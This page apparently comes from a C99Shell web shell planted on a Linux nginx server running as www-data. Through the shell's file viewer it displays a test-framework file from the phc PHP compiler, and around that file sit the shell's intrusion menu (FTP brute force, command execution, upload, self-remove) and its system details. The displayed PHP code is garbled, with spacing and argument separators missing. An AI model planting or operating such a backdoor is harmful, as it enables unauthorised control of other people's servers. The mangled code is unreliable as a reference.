!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/scripts/pba/phc-read-only/test/framework/lib/   drwxrwxr-x
Free 83.25 GB of 96.73 GB (86.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     compare_with_php_test.php (2.01 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * phc -- the open source PHP compiler
 * See doc/license/README.license for licensing information
 *
 * Conduct a test which is compared to the output of the interpreter
 */

require_once ("async_test.php");


class 
CompareWithPHP extends AsyncTest
{
    function 
__construct ($name$command_line$dependecy)
    {
        
$this->name $name;
        
$this->command_line $command_line;
        
$this->dependencies = array ($dependecy);
        
parent::__construct ();
    }

    
// TODO move the cache to AsyncTest
    
public static $cache = array ();
    function 
get_test_subjects ()
    {
        return 
get_interpretable_scripts ();
    }

    
// we intercept and wrap this to cache results
    
function run_command ($command$subject)
    {
        if (
$command == $this->get_command_line1 ($subject))
        {
            if (isset (
CompareWithPHP::$cache{$subject}))
            {
#                print "fetching cached results\n";
                
return CompareWithPHP::$cache{$subject};
            }
            else
            {
#                print "running and caching\n";
                
$results parent::run_command ($command$subject);
                
CompareWithPHP::$cache{$subject} = $results;
#                var_dump (CompareWithPHP::$cache);
                
return $results;
            }
        }
        else
        {
#            print "not command 1\n";
            
return parent::run_command ($command$subject);
        }
    }

    function 
get_command_line1 ($subject)
    {
        return 
get_php_command_line ($subject);
    }

    function 
get_command_line2 ($subject)
    {
        
$command $this->command_line;
        
$pipe_command get_php_command_line ($subject"pipe");
        return 
get_phc_command_line ($subject) . $command | $pipe_command";
    }

    function 
homogenize_output ($output$bundle)
    {
        return 
homogenize_all ($output$bundle->subject);
    }

    function 
get_name ()
    {
        return 
$this->name;
    }

    function 
run_test ($subject)
    {
        
$async = new AsyncBundle ($this$subject);

        
$async->commands[0] = $this->get_command_line1 ($subject);
        
$async->out_handlers[0] = "homogenize_output";

        
$async->commands[1] = $this->get_command_line2 ($subject);
        
$async->out_handlers[1] = "homogenize_output";

        
$async->final "two_command_finish";

        
$async->start ();
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0041 ]--